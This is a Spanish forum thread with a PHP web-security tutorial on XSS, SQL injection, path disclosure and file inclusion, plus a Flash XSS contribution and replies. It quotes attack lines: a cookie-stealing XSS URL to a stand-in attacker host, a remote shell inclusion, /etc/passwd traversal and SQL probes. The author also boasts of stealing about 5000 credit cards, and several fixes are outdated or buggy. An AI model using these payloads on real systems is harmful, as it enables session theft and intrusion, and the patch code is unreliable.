Protección y seguridad a nivel web, versión 1.

He visto por hay varios temas (no solo en este foro) en donde el punto príncipal es la seguridad web "parchando" así las posibles fallas que pueda tener la programación y/ó la estructuración del sitio, es lamentable ver (al decir lamentable me refiero a que no es bueno) que explican como parchar la vulnerabilidad (ó al menos la mayoría) pero no explican el porque de la vulnerabilidad. (Es como querer enseñar a un niño a correr cuando todavía no sabe caminar), por lo tanto mi punto es: explicar "PORQUE" existe ó se puede llevar a cabo la vulnerabilidad y una vez explicada, explicar como parcharla.

Cabe mencionar que no explicaré ni diré todas las vulnerabilidades a nivel web por tres razones:
1- Falta de tiempo.
2- No puedo hacer un post demasiado largo, perdería el toque, en próximas versiones tál vez explique otras.
3- Al aprender el porque y como parchar unas cuantas, estoy seguro que cuando encuentren otra en su sitio web sabran parcharla.

Por lo que solo explicaré las más "comúnes/típicas".
------------------------------------------------------------
XSS/HTML Injection
------------------------------------------------------------
XSS (Cross Site Scripting), se le denominó XSS para no confundir con las hojas de estilo (CSS), la vulnerabilidad se explota mediante la inyección de código "script/scripting" en alguna variable tanto POST como GET.

HTML Injection (Inyección HTML), la vulnerabilidad se explota mediante la inyección de código (príncipalmente HTML) en alguna variable tanto POST como GET.

¿Qué tienen de diferencia? Que XSS hace correr script (Ej: <script>alert('XSS');</script>) y por otro lado, HTML Injection hace correr tags literalmente (Ej: <marquee>HTMLi</marquee>, <table></table>, <iframe></iframe>, etc).

Puse las dos juntas en el mismo subtítulo ya que la forma en que se pueden parchar se pueden utilizar para las dos. Tomaré de ejemplo el siguiente "buscador":

<?php
$buscar = $_GET['buscar'];
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos tanto script como tags se ejecutaria en la misma pagina
*/
?>

Entonces, ¿Como se parcharían estos tags? PHP te brinda 3 funciones escenciales, las cuales son strip_tags(), y htmlentities().
strip_tags() = Elimina las etiquetas de los tags (<h1>test</h1> = test);
htmlentities() = Obtiene los tags de la inyección y evita que se ejecute. (<h1>test</h1> = <h1>test</h1>);

Pueden utilizar cualquiera

Podemos hacerlo directamente:

<?php
$buscar = strip_tags(htmlentities($_GET['buscar']));
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos <h1>Vulnerable</h1> votaria exactamente:
La busqueda de: <h1>Vulnerable</h1> no encontro ningun resultado

En donde si ponemos <table border="0"> votaria exactamente:
La busqueda de: <table border="0"> no encontro ningun resultado
Como se puede apreciar ya no se ejecutaron los tags.
?>

Generalmente se utiliza una inyección HTML solo para fastidiar al programador, por otro lado, con XSS se pueden hacer cosas interesantes como el robo de cookies, la verdad no pretendo enseñarles a como llevar acabo una vulnerabilidad si no como parcharla, así que les daré solo un breve ejemplo de un robo de cookies:

Nota: No explicaré mediante código esta vulnerabilidad ya que no se trata de "incitarlos" a que lo hagan, si no a parcharlo.

Un robo de cookies mediante XSS se caracteriza (su nombre lo dice todo) por "inyectar" en la vulnerabilidad mediante script un código que al ser enviado (en este caso a un supuesto administrador) y dar click en el enláce, automáticamente se envía un correo (esto depende de la página atacante) con la cookie del Administrador, posteriormente con algun editor de cabezeras (el mejor para mi es Tamper DATA) se cambia la cookie de sesión nuestra por la que obtuvimos por el administrador y listo, sesión de Administrador robada:

http://www.webvulnerable.com/archivovulnerable.php?variablevulnerable=<script>window.location=íhttp://webatacante.com/php.php?cookie=í document.cookie</script>

Ya solo es cuestión de agarrar la variable "cookie" en este caso y guardarla (tanto en .txt como correo), solo sería cuestión de disfrazar y meterle ingeniería social, y para parcharlo con las funciones de arriba se lleva acabo.
Es algo interesante este par de vulnerabilidades ya que sabiendo utilizarlas se puede hacer algo de daño, así que si son vulnerables, es hora de que lo dejen de ser.
------------------------------------------------------------
SQL Injection
------------------------------------------------------------
SQL Injection [Inyección SQL (Structured Query Language)], se caracteriza por no filtrar la petición a la base de datos conllevando con esta, un error en la implementación del valor a "pedir" y así exponiendo el código, es decir, que gracias a una mala estructuración/programación del código para hacer una petición (no filtrar las variables) se puede explotar dejando así toda la base de datos a la vista del atacante.

Aquí entra algo de polémica, la mayoría solo cree que una inyección SQL siempre será: -1 SELECT UNION 1,2--, pero nó, existen muchos tipos de inyecciones SQL pero en este caso indicarémos como parchar la "típica".

Un ejemplo de una mala estructuración es (es parecida al error de la vulnerabilidad XSS/HTMLi), suponiendo que el link seria web.com/noticia_id.php?id=':

<?php
include("connect.php"); //Conexion a la base de datos
$id = $_GET['id']; //Obtenemos el ID
$query = mysql_query("SELECT * FROM noticias WHERE id=".$id." "); //Hacemos la peticion
/*
web.com/noticia_id.php?id=-1 pediria la peticion como:
$query = mysql_query("SELECT * FROM noticias WHERE id=' ")
Y mostraria un error como este:
You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near '' at line 1 
*/
?>

Daría error, entonces al intentar acceder como (-1 UNION SELECT 1) daría:

The used SELECT statements have a different number of columns

Entonces así podemos ir explotando la vulnerabilidad hasta obtener datios valiosos (en una experiencia personal, logré obtener cerca de 5000 tarjetas de crédito).

Viene lo agradable ¿Como parcharla? como se han dado cuenta, se lleva acabo por una mala petición en el código, entonces así como PHP nos brinda funciones para filtrar, SQL tiene una por su lado que es mysql_escape_string() que con este filtraremos el GET, tambien podemos comprobar que exista la noticia antes de mostrarse, este sería el código:

<?php
include("connect.php"); //Conexion a la base de datos
$id = strip_tags($_GET['id']); //Obtenemos el ID

if (is_numeric($id)){ //Comprobamos que sea numerico

$query = mysql_query("SELECT * FROM noticias WHERE id=".mysql_escape_string($id)." "); //Hacemos la peticion

if ($row = mysql_fetch_array($query)){ //Comprobamos que exista
echo "Noticia: ".$row['titulo']."<br />";
}else{
echo "La noticia no existe";
}
}else{
echo "La noticia no existe";
}
?>

¿Qué hacemos? Incluímos la conexión a la base de datos, obtenemos el ID por GET y lo filtramos, comprobamos si es númerico el ID, hacemos la petición filtrada con mysql_escape_string(), comprobamos que exista la noticia, por otro lado, si no es númerico ó no existe la noticia te marcará un error (echo...).
Así de sencillo parchamos (ó mejor dicho, hacemos menos posible la vulnerabilidad) SQL Injection.
------------------------------------------------------------
Full Path Disclosure
------------------------------------------------------------
Esta vulnerabilidad en lo personal me agrada, ¿Por? Porque por un pequeño error en el código te muestra el "Full Path", es decir, con un error que nos tire te muestra todos los paths por donde pasa el script, generalmente sucede en descargas ya que no filtramos muy bien la ruta de los archivos y dejamos al descubierto todos los directorios, por ejemplo:

Suponiendo que nuestra página tiene un link para descargar los archivos que nosotros indiquemos, algo como:
http://www.name.com/descargar.php?file=organizacion.pdf

Entonces como vemos hace un "query" prácticamente al archivo a descargar, pero que sucede si nosotros recorremos el path con los comandos que tál vez conozcas (.. , ., etc) para recorrer ó avanzar directorios, quedaría algo así:

http://www.name.com/descargar.php?file=testing

Warning: fopen(testing) [function.fopen]: failed to open stream: No such file or directory in
/var/www/name/html/descargar.php on line 5

Y como vemos, en este caso es "/var/www/name/html/admin/", cuando una web es vulnerable, el atacante comúnmente busca el archivo /etc/passwd por default, entonces la url quedaría:

http://www.name.com/descargar.php?file=../../../../../../etc/passwd

En donde cada ../ es una carpeta anterior, todo depende de donde este situado esta vulnerabilidad, te preguntarás, ¿Pero en qué nos afecta?
En que si nosotros ingresamos por (suponiendo que tengamos una carpeta llamada admin):

http://www.name.com/descargar.php?file=./admin/index.php

Se nos descargaría el "Script" completo del admin y sería cuestión de ir jugando con los archivos para ver que otras vulnerabilidades tienen.

¿Como parchar? Para wordpress existe (este código no es mío, pero esta muy conocido en la red):

if(function_exists(‘add_actioní)) {
[…]
}

Y por mi parte las recomendaciones serían:

1.- Evitar mostrar el error en pantalla, tanto modificando el php.ini como editando todo archivo para que no muestre error, ó bien agregando error_reporting(0);
2.- Si haran descarga de archivos "web.com/descargar.php?file=" sería preferible que mejor pongan:
2.1- Descargas directas: web.com/files/archivo_a_descargar.rar"
2.2- Hacer un array ó switch para cada "case" y no poner directamente el nombre (archivo.php) si no alguna abreviación como
web.com/descargar.php?file=videos_anio_nuevo y ya con un "file_exists()" comprobamos la existencia del archivo.
3.- Si bien deciden dejar el script así, pueden implementar un código más ó menos de esta manera para fijar el directorio en una carpeta en específico y comprobar la existencia de este, claro esta, tambien sustituímos los carácteres (".","/") que son los usuales en estos casos:

<?php
$file = str_replace(array('.','/'),'',$_GET['file']);
$file = "./".$file; //Indicamos con el ./ que el fichero debe encontrarse en el mismo directorio.
if (!file_exists($file)){
echo "No intentes bugear";
}else{
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename="$file"n");
$filepath=fopen("$file", "r");
fpassthru($filepath);
}
?>

------------------------------------------------------------
RFI/LFI
------------------------------------------------------------
RFI (Remote File Inclusion), consiste en como su nombre lo dice, incluír archivos remótamente en el servidor.
LFI (Local File Inclusion), consiste en como su nombre lo dice, incluír archivos localmente en el servidor.

Estas vulnerabilidades antes eran muy típicas, pero conforme PHP fue avanzando de versión fueron "más díficiles" encontrarnos con una.
Lo explicaré brevemente ya que es parecido lo mismo que Full Path Disclosure.

Para RFI:
Suponiendo que tenemos una página llamada web.com/noticia.php?path=noticia_12.php y tenemos un código parecido a este:

<?php
$file = $_GET['path'];
include ($path);
?>

Como se observa, incluímos directamente el GET sin filtrarlo ni comprobar que exista, entonces ¿Por qué les puede perjudicar?
Si yo en su página hago web.com/noticia.php?path=http://miweb.com/miscodigos/shell.php ¿Que pasaría? Se incluiría en su página mi script malicioso y tendría acceso a todo su servidor/hosting ocasionando que yo pueda malusa resta vulnerabilidad y destrozarles su página (cosa que nunca hago).

Para LFI:
Suponiendo que tenemos la misma página, pero ahora si filtramos el archivo y comprobamos que exista de esta manera:

<?php
$file = $_GET['path'];
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>

Aquí pasaríamos de nuevo con el Full Path Disclosure, comenzamos a "navegar" con "../" , "./" hasta encontrar algún archivo vulnerable y comenzar a atacar.

¿Como parcharlo?
Esta manera que explicaré será para las dos vulnerabilidades:

<?php
$file = str_replace('/','',$_GET['path']);
$file = "./".$file;
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>

Como se observa, se utilizó "casi" la misma manera de parchar el Full Path Disclosure, solo es cuestión de que analizen su código línea por línea.
------------------------------------------------------------
Tips
------------------------------------------------------------
Les daré un par de tips para hacer segura su web que en lo personal me han servido de mucho:
1.- Si se trata de sesiones, comprobar en "cada página" que solo usuarios autorizados puedan acceder.
2.- Filtrar todas y cada una de las variables.
3.- Generar "errores" marcados por nosotros, por ejemplo:

<?php
$error = array('Error de existencia', 'Error numerico');
if (file_exists($archivo)){
//Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a 
fwrite($file, '
Error: '.$error[0].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file);
}

if (is_numeric($id)){
// Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a 
fwrite($file, '
Error: '.$error[1].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file)
}
?>

4.- Evitar mostrar errores en pantalla mediante "@" ejemplo:

<?php
$file = @fopen('index.php','a ');
@fwrite($file, 'Xt3mP');
@fclose($file);
?>

5.- Entre otros
------------------------------------------------------------
Espero que este manual les haya aclarado muchas dudas, y para los que digan que ya existen otros noten la diferente entre "Como hacerlo/Parcharlo" y "Porque sucede eso".
P.D: En la próxima versión hablaré sobre otras vulnerabilidades, entre ellas asp injection.
P.D.2: Si se me paso algo ó escribe algo mal fue porque lo escribí continuamente sin descansar y a veces se confunde uno.
Saludos.
------------------------------------------------------------
Aportes para versión
------------------------------------------------------------
Aporte de Anon:

XSS en Flash:
El fallo consiste en una vulnerabilidad de XSS (Cross-site scripting) la cual permite incrustar codigo Javascript y/o HTML, en algunas animaciones flash que no validan correctamente sus parámetros de entrada.

El siguiente codigo es el error que mas de 8 millones de sitios flash contienen, el string en AS3 getURL sirve para enviar variables. El ejemplo siguiente utiliza GET para añadir variables a una URL

getURL(_root.clickTAG, "_blank");

Esto puede ser explotado de la siguiente forma:

http://sitiovulnreable/flash.swf?clickTAG=javascript:alert('Pwnz by Vheissu')

Lo mismo con este ejemplo.

getURL(_root.url, "_blank");

Este problema que afecta millones de sitios en la red (lo cual podemos comprobar con una simple búsqueda en google  ”filetype:swf  inurl:clicktag” , es aun mas grave si se tiene en cuenta que la mayoría de las personas que manejan Flash y en especial su lenguaje de programación ActionScript, son diseñadores o programadores que no tienen en cuenta la seguridad a la hora de realizar sus trabajo

y bueno algo que no todos explican, ¿Como manipulo la informacion que envia una web en flash?, muy facil, existen plugins como el famoso TamperDATA, que se encargan de esa tarea, tan solo ver que tiene la pestaña POST_DATA y modificar asi las variables que se envian.

Es algo simple y puedo llamarlo un poco tonto, pero 8 millones de sitios lo tienen xD.

Ahora como parchar este error, bueno esto no es tan facil ya que as2 o as3 no es un lenguaje que interactue directamente con el servido para eso debe ser compilado  (Archivos .Swf) entonces, una solucion rapida y estable es al momento de crear la variable getURL deben configurar las flashbars, (Si saben programar en actionscript sabran a que me refiero) y agregar esto:

flashVars="myFunctionVar=javascript:myFunction()"=null

Además de que si ya tienen el flash player 10 actualizado a su ultima version, este script se corrige automaticamente.

Esto fue descubierto por el team de WebSecurity, en este enlace más información.
------------------------------------------------------------

---

¡Soy el fantasma de Habtium! Me dedico a reemplazar aquellas cuentas que han sido eliminadas. 👻

Sorry, lei de pasada. uhmm bueno aparte del Html Inyect, espero lo del ASP, que en vdd es muy util en sitos flash.

---

Políticamente irresistible.

@Anon

Sorry, lei de pasada. uhmm bueno aparte del Html Inyect, espero lo del ASP, que en vdd es muy util en sitos flash.

Vale la pena informarse (leerlo todo), primer post que hago de este tipo en donde no explico "como explotar la vulnerabilidad", me sentí raro haha, espero les sirva, hay luego hare de ASP entre otros, tambien sobre algunos comunes como proteger los flash, entre otras cositas sobre "como hacer un uploader seguro", etc, saludos.

---

¡Soy el fantasma de Habtium! Me dedico a reemplazar aquellas cuentas que han sido eliminadas. 👻

Como te curras los temas. Haces que programación tenga más vida de la que tenía xd.

---

Un fantasma que vaga entre su pasado y su presente, queriendo rectificar sus acciones para poder construir un futuro mejor.

Who am I?

@iHeart

Como te curras los temas. Haces que programación tenga más vida de la que tenía xd.

Ese es el punto, incitarlos a programación que es una rama muy linda haha, saludos.

---

¡Soy el fantasma de Habtium! Me dedico a reemplazar aquellas cuentas que han sido eliminadas. 👻

Ok's esperaba un post así para agregar unos detalles en sitios flash, lo encontraran en muchos sitios, igual es lo basico para seguridad web hechos en flash.

El fallo consiste en una vulnerabilidad de XSS (Cross-site scripting) la cual permite incrustar codigo Javascript y/o HTML, en algunas animaciones flash que no validan correctamente sus parámetros de entrada.

El siguiente codigo es el error que mas de 8 millones de sitios flash contienen, el string en AS3 getURL sirve para enviar variables. El ejemplo siguiente utiliza GET para añadir variables a una URL

getURL(_root.clickTAG, "_blank");

Esto puede ser explotado de la siguiente forma:

http://sitiovulnreable/flash.swf?clickTAG=javascript:alert('Pwnz by Vheissu')

Lo mismo con este ejemplo.

getURL(_root.url, "_blank");

Este problema que afecta millones de sitios en la red (lo cual podemos comprobar con una simple búsqueda en google  ”filetype:swf  inurl:clicktag” , es aun mas grave si se tiene en cuenta que la mayoría de las personas que manejan Flash y en especial su lenguaje de programación ActionScript, son diseñadores o programadores que no tienen en cuenta la seguridad a la hora de realizar sus trabajo

y bueno algo que no todos explican, ¿Como manipulo la informacion que envia una web en flash?, muy facil, existen plugins como el famoso TamperDATA, que se encargan de esa tarea, tan solo ver que tiene la pestaña POST_DATA y modificar asi las variables que se envian.

Es algo simple y puedo llamarlo un poco tonto, pero 8 millones de sitios lo tienen xD.

Ahora como parchar este error, bueno esto no es tan facil ya que as2 o as3 no es un lenguaje que interactue directamente con el servido para eso debe ser compilado  (Archivos .Swf) entonces, una solucion rapida y estable es al momento de crear la variable getURL deben configurar las flashbars, (Si saben programar en actionscript sabran a que me refiero) y agregar esto:

flashVars="myFunctionVar=javascript:myFunction()"=null

Además de que si ya tienen el flash player 10 actualizado a su ultima version, este script se corrige automaticamente.

Esto fue descubierto por el team de WebSecurity, en este enlace más información.

---

Políticamente irresistible.

Yea, buen aporte brother, lo muevo al post príncipal, edita el comentario, saludos, aunque te pasaste... de esto iba a hablar en la segunda versión xD tendré que buscar otra cosa haha.

---

¡Soy el fantasma de Habtium! Me dedico a reemplazar aquellas cuentas que han sido eliminadas. 👻

xDD Hasta me parecio raro a mi que no hablaras de como explotarlas en el post :juju: igualmente se explotarlas casi todas y algunas sabia evitarlas

Es que lo hice muy rápido y no pensaba abarcar todas las vulnerabilidades de un solo golpe, lo tenía contemplado para la segunda versión junto con ASP y otras, pero ya me ganaste ya que hahaha saludos brothi!.

---

¡Soy el fantasma de Habtium! Me dedico a reemplazar aquellas cuentas que han sido eliminadas. 👻

Me lo leí hace unos días, pero ahora pregunto.

¿Cual es la importancia de verificar si una cadena es numerica? Si yo ya he utilizado mysql_real_escape_string, no sé para que hace falta

Si esta contestado en el primer mensaje, dime que lo lea .P